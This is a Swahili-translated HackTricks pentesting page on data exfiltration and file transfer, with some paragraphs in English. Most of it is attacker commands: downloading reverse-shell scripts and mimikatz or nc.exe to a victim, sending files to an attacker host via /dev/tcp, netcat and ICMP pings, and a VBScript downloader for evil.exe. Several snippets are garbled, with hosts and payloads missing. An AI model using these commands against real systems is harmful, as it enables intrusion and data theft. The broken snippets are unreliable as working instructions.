# Kufyonza
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Vyanzo vya kawaida vilivyoorodheshwa kwa ajili ya kufyonza taarifa Angalia [https://lots-project.com/](https://lots-project.com/) kupata vyanzo vya kawaida vilivyoorodheshwa ambavyo vinaweza kutumiwa vibaya ## Nakili\&Banda la Msingi wa 64 **Linux** ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` **Windows** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` ## HTTP **Linux** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` **Windows** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf #PS (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ### Pakia faili * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) * [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Moduli wa Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver python3 -m uploadserver # With basic auth: # python3 -m uploadserver --basic-auth hello:world # Send a file curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` ### **Seva ya HTTPS** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ # generate server.xml with the following command: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # run as follows: # python simple-https-server.py # then in your browser, visit: # https://localhost:443 ### PYTHON 2 import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() ### ### PYTHON3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever() ### ### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): print(request.get_json()) return "OK" if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` ## FTP ### Seva ya FTP (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` ### Seva ya FTP (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` ### Seva ya FTP (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` ```bash #Run the following script to configure the FTP server #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pwd useradd fusr -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` ### **Mteja wa Windows** ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt echo USER anonymous >> ftp.txt echo anonymous >> ftp.txt echo bin >> ftp.txt echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` ## SMB Kali kama server ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` Au unaweza kuunda smb share **kwa kutumia samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart ``` ### Exfiltration Techniques on Windows #### Exfiltration Over C2 Channels When exfiltrating data over command and control (C2) channels, an attacker can leverage existing C2 infrastructure to blend in with legitimate traffic. This can include using encrypted channels, steganography, or other obfuscation techniques to avoid detection. #### Exfiltration Over Alternative Protocols Attackers can also exfiltrate data using alternative protocols such as DNS, ICMP, or HTTP. By encoding data within the protocol traffic, an attacker can bypass network security controls that may only be inspecting specific protocols. #### Exfiltration Over Trusted Protocols Utilizing trusted protocols like HTTPS or DNS can help an attacker blend in with normal network traffic. By abusing these protocols to exfiltrate data, an attacker can avoid raising suspicion from security monitoring tools. #### Exfiltration Over Encrypted Channels Encrypting exfiltrated data can help evade detection by security tools that are not able to inspect encrypted traffic. By using encryption, an attacker can make it more challenging for defenders to identify and block exfiltration attempts. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ## SCP Mshambuliaji lazima awe na SSHd inayofanya kazi. ```bash scp @:/ ``` ## SSHFS Ikiwa muathiriwa ana SSH, mkaidi anaweza kufunga saraka kutoka kwa muathiriwa kwenda kwa mkaidi. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC ### Exfiltration #### Overview Exfiltration is the unauthorized transfer of data from a target. This can be achieved through various methods, such as: - **Email**: Sending sensitive data as email attachments. - **FTP**: Transferring data using File Transfer Protocol. - **DNS**: Sending data through DNS requests. - **HTTP/HTTPS**: Using HTTP or HTTPS protocols to exfiltrate data. - **Steganography**: Hiding data within other files to avoid detection. - **Physical**: Removing data physically from a target location. #### Detection Detecting exfiltration can be challenging due to the covert nature of the activity. Some common detection methods include: - **Network Monitoring**: Monitoring network traffic for unusual patterns. - **Endpoint Monitoring**: Monitoring endpoint devices for unauthorized data transfers. - **Data Loss Prevention (DLP)**: Using DLP solutions to detect and prevent data exfiltration. - **Behavioral Analytics**: Analyzing user behavior to identify suspicious activities. - **Encryption**: Implementing encryption to protect data from being exfiltrated. #### Prevention Preventing exfiltration requires a multi-layered approach to security. Some prevention techniques include: - **Access Control**: Limiting access to sensitive data to authorized personnel only. - **Network Segmentation**: Segmenting networks to prevent lateral movement of attackers. - **User Training**: Educating users about the risks of data exfiltration and how to prevent it. - **Security Policies**: Implementing strict security policies to govern data handling practices. - **Security Tools**: Deploying security tools such as firewalls, IDS/IPS, and SIEM solutions to detect and prevent exfiltration attempts. By understanding exfiltration techniques and implementing appropriate detection and prevention measures, organizations can better protect their data from unauthorized access and transfer. ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp ### Pakua faili kutoka kwa muathiriwa ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` ### Pakia faili kwa muathiriwa ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` Asante kwa **@BinaryShadow\_** ## **ICMP** ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done #This will 4bytes per ping packet (you could probably increase this until 16) ``` ```python from scapy.all import * #This is ippsec receiver created in the HTB machine Mischief def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] #Read the 4bytes interesting print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa kutumia python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP Kwa chaguo-msingi katika XP na 2003 (katika mingine inahitaji kuongezwa wazi wakati wa usakinishaji) Katika Kali, **anzisha seva ya TFTP**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` **Server ya TFTP kwa kutumia python:** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` Katika **mwendwa**, unganisha kwenye seva ya Kali: ```bash tftp -i get nc.exe ``` ## PHP Pakua faili kwa PHP oneliner: ```bash echo "" > down2.php ``` ## VBScript VBScript ni lugha ya programu inayotumika sana kwa maendeleo ya skripti za Windows. Inaweza kutumika kwa ufanisi kutekeleza shughuli za uhamishaji wa data kwa njia ya exfiltration. ```bash Attacker> python -m SimpleHTTPServer 80 ``` **Mnajisi** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kuzingatia kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili inayoitwa nc.exe itaundwa. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) **Kikundi cha Usalama cha Kujaribu Kwa Bidii**
{% embed url="https://discord.gg/tryhardsecurity" %}
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.